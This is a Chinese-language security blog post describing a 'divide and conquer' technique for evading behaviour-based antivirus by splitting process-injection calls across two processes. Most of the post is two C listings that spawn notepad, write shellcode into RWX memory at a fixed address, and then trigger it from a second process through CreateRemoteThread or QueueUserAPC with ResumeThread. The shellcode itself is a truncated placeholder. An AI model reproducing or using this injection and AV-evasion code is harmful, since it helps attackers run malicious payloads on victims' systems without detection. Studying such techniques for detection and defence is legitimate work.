idiotc4t's blog
搜索文档…
Divide and Conquer

简介

看到了一种比较有意思的手法,现在的杀软会关注函数的执行链, theevilbit公开了一种通过不同进程分离执行API,绕过基于行为的AV检测。
常见的行为检测会有监控堆栈的调用链和hookapi记录行为,这种分离执行方式都能绕过。

流程

  1. 1.
    创建傀儡进程
  2. 2.
    向傀儡进程写入payload
  3. 3.
    创建同文件进程传入pid
  4. 4.
    通过pid打开傀儡句柄
  5. 5.
    创建远程线程

代码

1
2
3
#include <stdio.h>
4
#include <windows.h>
5
unsigned char shellcode[] =
6
"\xfc78\x00";
7
8
int main(int argc, char* argv[]) {
9
10
if (argv[1]==NULL)
11
{
12
STARTUPINFOA si = { 0 };
13
si.cb = sizeof(si);
14
PROCESS_INFORMATION pi = { 0 };
15
16
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
17
VirtualAllocEx(pi.hProcess, (PVOID)0x0000480000000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
18
WriteProcessMemory(pi.hProcess, (PVOID)0x0000480000000000, shellcode, sizeof(shellcode), NULL);
19
20
char cmd[MAX_PATH] = {0};
21
wsprintfA(cmd, "%s %d", argv[0], pi.dwProcessId);
22
23
CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
24
}
25
else
26
{
27
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, atoi(argv[1]));
28
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0x0000480000000000, 0, 0, 0);
29
}
30
31
32
return 0;
33
}
34
Copied!

同理

1
if (argv[1]==NULL)
2
{
3
STARTUPINFOA si = { 0 };
4
si.cb = sizeof(si);
5
PROCESS_INFORMATION pi = { 0 };
6
7
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
8
VirtualAllocEx(pi.hProcess, (PVOID)0x0000480000000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
9
WriteProcessMemory(pi.hProcess, (PVOID)0x0000480000000000, shellcode, sizeof(shellcode), NULL);
10
char cmd[MAX_PATH] = {0};
11
wsprintfA(cmd, "%s %d", argv[0], pi.dwThreadId);
12
QueueUserAPC((PAPCFUNC)0x0000480000000000, pi.hThread, NULL);
13
CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
14
}
15
else
16
{
17
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, NULL, atoi(argv[1]));
18
ResumeThread(hThread);
19
}
20
Copied!

LINK

最近更新 10mo ago